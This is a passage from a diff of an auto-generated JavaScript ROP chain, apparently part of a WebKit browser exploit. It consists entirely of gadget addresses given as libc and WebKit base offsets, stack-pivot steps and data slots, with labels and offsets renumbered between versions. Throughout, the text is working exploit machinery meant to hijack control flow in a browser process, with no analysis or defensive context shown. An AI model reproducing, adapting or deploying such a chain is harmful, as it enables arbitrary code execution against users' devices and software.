libc_base+793877, //pop rsi -ropchain+211144, //L3371 +ropchain+210680, //L3354 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+211128, //L3370 +ropchain+210664, //L3352 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3370: +//L3352: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3371: +//L3354: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+211232, //L3373 +ropchain+210768, //L3355 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+211248, //L3374 +ropchain+210784, //L3357 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3373: +//L3355: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3374: +//L3357: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+211320, //L3377 +ropchain+210840, //L3358 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3375: -db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3377: +//L3358: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3359: +db([4, 0]); // 0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -24725,18 +24658,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211456, //L3379 +ropchain+210992, //L3362 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+211440, //L3378 +ropchain+210976, //L3361 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3378: +//L3361: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3379: +//L3362: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24746,17 +24679,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211552, //L3380 +ropchain+211088, //L3363 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+211568, //L3381 +ropchain+211104, //L3364 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3380: +//L3363: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3381: +//L3364: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24766,19 +24699,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+211680, //L3382 +ropchain+211216, //L3365 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+211664, //L3383 +ropchain+211200, //L3366 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3383: +//L3366: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3382: +//L3365: db([0, 0]); // 0x0 -//L3322: +//L3305: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -24994,11 +24927,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213008, //L3384 +ropchain+212544, //L3367 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3384: +//L3367: db([0, 0]); // 0x0 //_free_thread: set_gadget(libc_base+793877,); //pop rsi @@ -25006,376 +24939,376 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+213080, //L3386 +ropchain+212616, //L3368 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3386: +//L3368: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213144, //L3388 +ropchain+212680, //L3371 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3388: +//L3371: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3389: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3391: +//L3372: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3373: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+213312, //L3394 +ropchain+212848, //L3377 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213296, //L3393 +ropchain+212832, //L3375 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3393: +//L3375: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3394: +//L3377: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+213416, //L3397 +ropchain+212936, //L3378 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+213432, //L3398 +ropchain+212968, //L3381 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3395: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3397: +//L3378: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3379: +db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+206806,); //pop rdi -//L3398: +//L3381: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+793877, //pop rsi -ropchain+213496, //L3401 +ropchain+213032, //L3383 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3401: +//L3383: db([0, 0]); // 0x0 -//L3399: +//L3382: set_gadgets([ libc_base+793877, //pop rsi -ropchain+213560, //L3404 +ropchain+213080, //L3385 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3402: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3404: +//L3385: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3386: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+213664, //L3407 +ropchain+213200, //L3390 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213648, //L3406 +ropchain+213184, //L3388 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3406: +//L3388: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3407: +//L3390: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+213736, //L3408 +ropchain+213272, //L3391 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+213752, //L3409 +ropchain+213288, //L3392 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3408: +//L3391: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3409: +//L3392: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+213920, //L3412 +ropchain+213456, //L3395 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+213936, //L3413 +ropchain+213472, //L3396 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+213888, //L3410 +ropchain+213440, //L3393 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+213904, //L3411 +ropchain+213424, //L3394 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3410: +//L3394: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3411: +//L3393: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3412: +//L3395: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3413: +//L3396: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+214008, //L3414 +ropchain+213544, //L3397 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+214024, //L3415 +ropchain+213560, //L3398 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3414: +//L3397: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3415: +//L3398: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+214136, //L3418 +ropchain+213672, //L3401 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+214120, //L3417 +ropchain+213656, //L3400 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3416: +//L3399: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3417: +//L3400: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3418: +//L3401: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+214264, //L3420 +ropchain+213800, //L3403 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+214280, //L3421 +ropchain+213816, //L3404 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+214248, //L3419 +ropchain+213784, //L3402 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3419: +//L3402: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3420: +//L3403: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3421: +//L3404: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+214384, //L3424 +ropchain+213920, //L3407 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+214448, //L3427 +ropchain+213984, //L3410 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+214432, //L3426 +ropchain+213968, //L3409 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3424: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3423: +//L3407: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3425: +//L3406: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3408: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3426: +//L3409: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3427: +//L3410: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+214560, //L3428+8 +ropchain+214096, //L3411+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+214552, //L3428 +ropchain+214088, //L3411 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3428: +//L3411: db([0, 0]); // 0x0 set_gadgets([ -ropchain+214576, //L3428+24 -ropchain+216288, //L3422 +ropchain+214112, //L3411+24 +ropchain+215824, //L3405 libc_base+793877, //pop rsi -ropchain+214632, //L3431 +ropchain+214152, //L3412 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3429: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3431: +//L3412: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3413: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+214736, //L3434 +ropchain+214272, //L3417 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+214720, //L3433 +ropchain+214256, //L3415 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3433: +//L3415: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3434: +//L3417: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+214856, //L3436 +ropchain+214376, //L3418 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+214888, //L3438 +ropchain+214424, //L3421 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+214872, //L3437 +ropchain+214408, //L3420 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3435: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3436: +//L3418: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3419: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3437: +//L3420: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3438: +//L3421: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+214992, //L3441 +ropchain+214528, //L3424 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+214976, //L3440 +ropchain+214512, //L3422 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3440: +//L3422: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3441: +//L3424: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+215160, //L3444 +ropchain+214696, //L3427 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+215176, //L3445 +ropchain+214712, //L3428 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+215128, //L3442 +ropchain+214680, //L3425 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+215144, //L3443 +ropchain+214664, //L3426 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3442: +//L3426: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3443: +//L3425: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3444: +//L3427: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3445: +//L3428: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+215272, //L3447 +ropchain+214808, //L3430 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+215256, //L3446 +ropchain+214792, //L3429 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3446: +//L3429: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3447: +//L3430: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25383,8 +25316,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3449: -ropchain+215376, //L3448 +//L3432: +ropchain+214912, //L3431 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -25392,8 +25325,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+181656, //_get_tclass_3 -//L3448: +ropchain+181192, //_get_tclass_3 +//L3431: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -25401,40 +25334,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+215512, //L3451 +ropchain+215048, //L3434 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+215528, //L3452 +ropchain+215064, //L3435 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+215496, //L3450 +ropchain+215032, //L3433 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3450: +//L3433: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3451: +//L3434: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3452: +//L3435: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+215624, //L3454 +ropchain+215160, //L3437 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+215608, //L3453 +ropchain+215144, //L3436 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3453: +//L3436: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3454: +//L3437: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25443,39 +25376,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+215704, //L3456 +ropchain+215240, //L3438 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3456: +//L3438: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3455: +//L3439: db([65, 0]); // 0x41 set_gadget(libc_base+206806,); //pop rdi -//L3457: +//L3440: db([65, 0]); // 0x41 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+215840, //L3458 +ropchain+215376, //L3441 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+215872, //L3460 +ropchain+215408, //L3443 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+215856, //L3459 +ropchain+215392, //L3442 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3458: +//L3441: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3459: +//L3442: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3460: +//L3443: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -25488,132 +25421,132 @@ webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+216040, //L3462 +ropchain+215576, //L3445 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+216056, //L3463 +ropchain+215592, //L3446 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+216024, //L3461 +ropchain+215560, //L3444 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3461: +//L3444: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3462: +//L3445: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3463: +//L3446: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+216176, //L3465 +ropchain+215696, //L3447 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+216208, //L3467 +ropchain+215744, //L3450 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+216192, //L3466 +ropchain+215728, //L3449 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3464: +//L3447: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3465: +set_gadget(libc_base+793877,); //pop rsi +//L3448: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3466: +//L3449: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3467: +//L3450: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+216280, //L3469 +ropchain+215816, //L3451 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3469: +//L3451: db([0, 0]); // 0x0 -//L3422: +//L3405: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+216400, //L3471 +ropchain+215936, //L3454 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+216416, //L3472 +ropchain+215952, //L3455 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+216384, //L3470 +ropchain+215920, //L3453 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3470: +//L3453: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3471: +//L3454: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3472: +//L3455: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+216520, //L3475 +ropchain+216056, //L3458 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+216568, //L3477 +ropchain+216104, //L3460 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+216552, //L3476 +ropchain+216088, //L3459 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3475: +//L3458: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3474: +//L3457: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3476: +//L3459: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3477: +//L3460: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+216680, //L3478+8 +ropchain+216216, //L3461+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+216672, //L3478 +ropchain+216208, //L3461 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3478: +//L3461: db([0, 0]); // 0x0 set_gadgets([ -ropchain+216696, //L3478+24 -ropchain+218776, //L3473 +ropchain+216232, //L3461+24 +ropchain+218312, //L3456 libc_base+788575 //pop rax ]); -//L3479: +//L3462: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25622,7 +25555,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3480: +//L3463: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25631,7 +25564,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3481: +//L3464: db([25, 0]); // 0x19 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25640,7 +25573,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3482: +//L3465: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25648,119 +25581,119 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+216944, //L3485 +ropchain+216464, //L3466 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3483: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3485: +//L3466: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3467: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+217048, //L3488 +ropchain+216584, //L3471 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+217032, //L3487 +ropchain+216568, //L3469 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3487: +//L3469: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3488: +//L3471: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+217168, //L3490 +ropchain+216688, //L3472 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+217200, //L3492 +ropchain+216736, //L3475 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+217184, //L3491 +ropchain+216720, //L3474 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3489: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3490: +//L3472: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3473: +db([12, 0]); // 0xc set_gadget(libc_base+206806,); //pop rdi -//L3491: +//L3474: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3492: +//L3475: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+217304, //L3495 +ropchain+216840, //L3478 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+217288, //L3494 +ropchain+216824, //L3476 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3494: +//L3476: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3495: +//L3478: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+217472, //L3498 +ropchain+217008, //L3481 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+217488, //L3499 +ropchain+217024, //L3482 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+217440, //L3496 +ropchain+216992, //L3479 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+217456, //L3497 +ropchain+216976, //L3480 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3496: +//L3480: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3497: +//L3479: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3498: +//L3481: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3499: +//L3482: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+217584, 